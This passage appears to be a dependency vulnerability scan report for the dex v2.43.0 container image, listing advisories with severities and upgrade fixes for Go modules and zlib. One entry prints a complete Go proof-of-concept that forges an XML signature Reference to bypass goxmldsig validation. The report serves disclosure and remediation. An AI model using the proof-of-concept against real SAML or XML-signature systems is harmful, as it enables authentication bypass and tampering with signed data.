- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in `handshakeTransport` in `handshake.go`. An internal queue gets populated with received packets during the key exchange process, while waiting for the client to send a `SSH_MSG_KEXINIT`. An attacker can cause the server to become unresponsive to new connections by delaying or withholding this message, or by causing the queue to consume all available memory.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.35.0 or higher.

## References

- Git Commit
- Go Issue
- Vulnerability Advisory

More about this vulnerability

## Untrusted Search Path

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: go.opentelemetry.io/otel/sdk/resource
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and go.opentelemetry.io/otel/sdk/resource@v1.33.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › go.opentelemetry.io/otel/sdk/resource@v1.33.0

## Overview

Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes `ioreg`, when the `PATH` environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.

Note: This vulnerability is only exploitable on MacOS/Darwin systems.

## Remediation

Upgrade `go.opentelemetry.io/otel/sdk/resource` to version 1.40.0 or higher.

## References

- GitHub Commit

More about this vulnerability

## Untrusted Search Path

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: go.opentelemetry.io/otel/sdk/resource
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and go.opentelemetry.io/otel/sdk/resource@v1.33.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › go.opentelemetry.io/otel/sdk/resource@v1.33.0

## Overview

Affected versions of this package are vulnerable to Untrusted Search Path through the `hostIDReaderBSD.read` function in `sdk/resource/host_id.go`. An attacker can execute a malicious `kenv` binary by placing it earlier in `$PATH` and triggering host ID detection on BSD or Solaris systems when `/etc/hostid` is absent. When an application initializes OpenTelemetry resource detection under those conditions, it runs the attacker-controlled command in the application's context, allowing local code execution and compromising the process running the Go application.

## Remediation

Upgrade `go.opentelemetry.io/otel/sdk/resource` to version 1.43.0 or higher.

## References

- GitHub Commit
- GitHub Release
- Maintainer's Advisory

More about this vulnerability

## Improper Verification of Cryptographic Signature

high severity
Exploit: Proof of Concept

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: github.com/russellhaering/goxmldsig
- Introduced through: github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/russellhaering/goxmldsig@v1.5.0

## Overview

github.com/russellhaering/goxmldsig is a XML Digital Signatures implemented in pure Go.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the `validateSignature` function in the `validate.go` file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.

## PoC

    package main

            import (
                "crypto/rand"
                "crypto/rsa"
                "crypto/tls"
                "crypto/x509"
                "encoding/base64"
                "fmt"
                "math/big"
                "time"

                "github.com/beevik/etree"
                dsig "github.com/russellhaering/goxmldsig"
            )

            func main() {
                key, err := rsa.GenerateKey(rand.Reader, 2048)
                if err != nil {
                    panic(err)
                }

                template := &x509.Certificate{
                    SerialNumber: big.NewInt(1),
                    NotBefore:    time.Now().Add(-1 * time.Hour),
                    NotAfter:     time.Now().Add(1 * time.Hour),
                }

                certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
                if err != nil {
                    panic(err)
                }

                cert, _ := x509.ParseCertificate(certDER)

                doc := etree.NewDocument()
                root := doc.CreateElement("Root")
                root.CreateAttr("ID", "target")
                root.SetText("Malicious Content")

                tlsCert := tls.Certificate{
                    Certificate: [][]byte{cert.Raw},
                    PrivateKey:  key,
                }

                ks := dsig.TLSCertKeyStore(tlsCert)
                signingCtx := dsig.NewDefaultSigningContext(ks)

                sig, err := signingCtx.ConstructSignature(root, true)
                if err != nil {
                    panic(err)
                }

                signedInfo := sig.FindElement("./SignedInfo")

                existingRef := signedInfo.FindElement("./Reference")
                existingRef.CreateAttr("URI", "#dummy")

                originalEl := etree.NewElement("Root")
                originalEl.CreateAttr("ID", "target")
                originalEl.SetText("Original Content")

                sig1, _ := signingCtx.ConstructSignature(originalEl, true)
                ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

                signedInfo.InsertChildAt(existingRef.Index(), ref1)

                c14n := signingCtx.Canonicalizer

                detachedSI := signedInfo.Copy()
                if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
                    detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
                }

                canonicalBytes, err := c14n.Canonicalize(detachedSI)
                if err != nil {
                    fmt.Println("c14n error:", err)
                    return
                }

                hash := signingCtx.Hash.New()
                hash.Write(canonicalBytes)
                digest := hash.Sum(nil)

                rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
                if err != nil {
                    panic(err)
                }

                sigVal := sig.FindElement("./SignatureValue")
                sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

                certStore := &dsig.MemoryX509CertificateStore{
                    Roots: []*x509.Certificate{cert},
                }
                valCtx := dsig.NewDefaultValidationContext(certStore)

                root.AddChild(sig)

                doc.SetRoot(root)
                str, _ := doc.WriteToString()
                fmt.Println("XML:")
                fmt.Println(str)

                validated, err := valCtx.Validate(root)
                if err != nil {
                    fmt.Println("validation failed:", err)
                } else {
                    fmt.Println("validation ok")
                    fmt.Println("validated text:", validated.Text())
                }
            }

## Remediation

Upgrade `github.com/russellhaering/goxmldsig` to version 1.6.0 or higher.

## References

- GitHub Commit

More about this vulnerability

## Asymmetric Resource Consumption (Amplification)

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/golang-jwt/jwt/v5
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/golang-jwt/jwt/v5@v5.2.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/golang-jwt/jwt/v5@v5.2.1

## Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) through the `parse.ParseUnverified` function. An attacker can cause excessive memory allocation by sending a crafted request with many period characters in the `Authorization` header.

## Remediation

Upgrade `github.com/golang-jwt/jwt/v5` to version 5.2.2 or higher.

## References

- GitHub Commit
- GitHub Release 4.5.2
- GitHub Release 5.2.2

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-jose/go-jose/v4
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/go-jose/go-jose/v4@v4.0.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/go-jose/go-jose/v4@v4.0.2
- Introduced through: github.com/dexidp/dex@* › github.com/go-jose/go-jose/v4@v4.1.0

## Overview

Affected versions of this package are vulnerable to Uncaught Exception in the `cipher.KeyUnwrap` function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the `encrypted_key` field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty `encrypted_key` field or by directly invoking `cipher.KeyUnwrap` with a ciphertext parameter less than 16 bytes long.

Note:

This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.

## Workaround

This vulnerability can be mitigated by prevalidating JWE objects to ensure the `encrypted_key` field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.

## Remediation

Upgrade `github.com/go-jose/go-jose/v4` to version 4.1.4 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/aws/aws-sdk-go-v2/service/s3
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/aws/aws-sdk-go-v2/service/s3@v1.71.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/aws/aws-sdk-go-v2/service/s3@v1.71.0

## Overview

Affected versions of this package are vulnerable to Uncaught Exception via the `eventstream` decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

## Remediation

Upgrade `github.com/aws/aws-sdk-go-v2/service/s3` to version 1.97.3 or higher.

## References

- GitHub Advisory
- GitHub Release

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.6.7

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.6.7

## Overview

Affected versions of this package are vulnerable to Uncaught Exception via the `eventstream` decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

## Remediation

Upgrade `github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream` to version 1.7.8 or higher.

## References

- GitHub Advisory
- GitHub Release

More about this vulnerability

## Improper Validation of Specified Quantity in Input

medium severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: zlib/zlib
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and zlib/zlib@1.3.1-r2

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › zlib/zlib@1.3.1-r2
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › zlib/zlib@1.3.1-r2

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

zlib before 1.3.2 allows CPU consumption via crc32_combine64 and crc32_combine_gen64 because x2nmodp can do right shifts within a loop that has no termination condition.

## Remediation

Upgrade `Alpine:3.21` `zlib` to version 1.3.2-r0 or higher.

## References

- https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit/
- https://github.com/madler/zlib/releases/tag/v1.3.2
- https://ostif.org/zlib-audit-complete/
- https://github.com/madler/zlib/issues/904
- https://7asecurity.com/reports/pentest-report-zlib-RC1.1.pdf

More about this vulnerability

## Inefficient Algorithmic Complexity

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `html.Parse` function due to quadratic parsing complexity when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.45.0 or higher.

## References

- GitHub Issue
- Go Advisory
- Go Commit
- Google Groups Forum

More about this vulnerability

## Infinite loop

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Infinite loop via the `html.Parse` function. An attacker can cause resource exhaustion and disrupt service availability by submitting specially crafted HTML input that triggers an infinite parsing loop.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.45.0 or higher.

## References

- GitHub Issue
- Go Advisory
- Go Commit
- Google Groups Forum

More about this vulnerability

## Cross-site Scripting (XSS)

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the `inBodyEndTagOther()` function, when rendering sanitized HTML. An attacker can cause the execution of scripts in the context of the affected application by providing malicious HTML input containing unmatched tags.

## Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `&lt`; and `>` can be coded as `&gt`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

### Types of attacks

There are a few methods by which XSS can be manipulated:

Type | Origin | Description
--- | --- | ---
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated |  | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

### Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

### How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.55.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Cross-site Scripting (XSS)

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `readStartTag()` function in the `Tokenizer`. An attacker can cause the execution of scripts in the context of the affected application by supplying malicious HTML with duplicate attributes.

## Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `&lt`; and `>` can be coded as `&gt`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

### Types of attacks

There are a few methods by which XSS can be manipulated:

Type | Origin | Description
--- | --- | ---
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated |  | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

### Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

### How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.55.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Cross-site Scripting (XSS)

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `childTextNodesAreLiteral()` function in `render.go. An attacker can cause the execution of scripts in the context of the affected application by providing malicious HTML input containing fostered elements that are outside their parent namespace.

## Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `&lt`; and `>` can be coded as `&gt`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

### Types of attacks

There are a few methods by which XSS can be manipulated:

Type | Origin | Description
--- | --- | ---
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated |  | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

### Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

### How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.55.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Cross-site Scripting (XSS)

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `writeQuoted()` function, which does not properly handle `>` characters in DOCTYPE data. An attacker can cause the execution of scripts in the context of the affected application by providing malicious HTML input that contains unescaped `>`s.

## Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `&lt`; and `>` can be coded as `&gt`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

### Types of attacks

There are a few methods by which XSS can be manipulated:

Type | Origin | Description
--- | --- | ---
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated |  | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

### Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

### How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.55.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Inefficient Algorithmic Complexity

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/html
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/html@v0.40.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/html@v0.40.0

## Overview

golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in `parse.go`, when checking attributes iteratively. An attacker can cause excessive CPU consumption by providing malicious HTML input.

## Remediation

Upgrade `golang.org/x/net/html` to version 0.55.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Out-of-bounds Read

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh/agent@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh/agent@v0.31.0

## Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the SSH Agent servers. An attacker can cause a panic and disrupt service availability by sending a specially crafted, malformed message that triggers an out-of-bounds read.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.45.0 or higher.

## References

- GO-2025-4135
- go.dev Commit
- go.dev Issue
- Google Groups Forum

More about this vulnerability

## Improper Check for Dropped Privileges

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh/agent@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh/agent@v0.31.0

## Overview

Affected versions of this package are vulnerable to Improper Check for Dropped Privileges due to the omission of constraint extensions such as `restrict-destination-v00@openssh.com` when adding a key to a remote agent. An attacker can bypass intended key usage restrictions by forwarding keys without the associated constraints, enabling unrestricted use of the key on the remote host.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Missing Authorization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh/agent@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh/agent@v0.31.0

## Overview

Affected versions of this package are vulnerable to Missing Authorization due to the `NewKeyring` function not enforcing the `ConfirmBeforeUse` constraint. An attacker can perform unauthorized signing operations by adding keys with constraints that are silently ignored.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

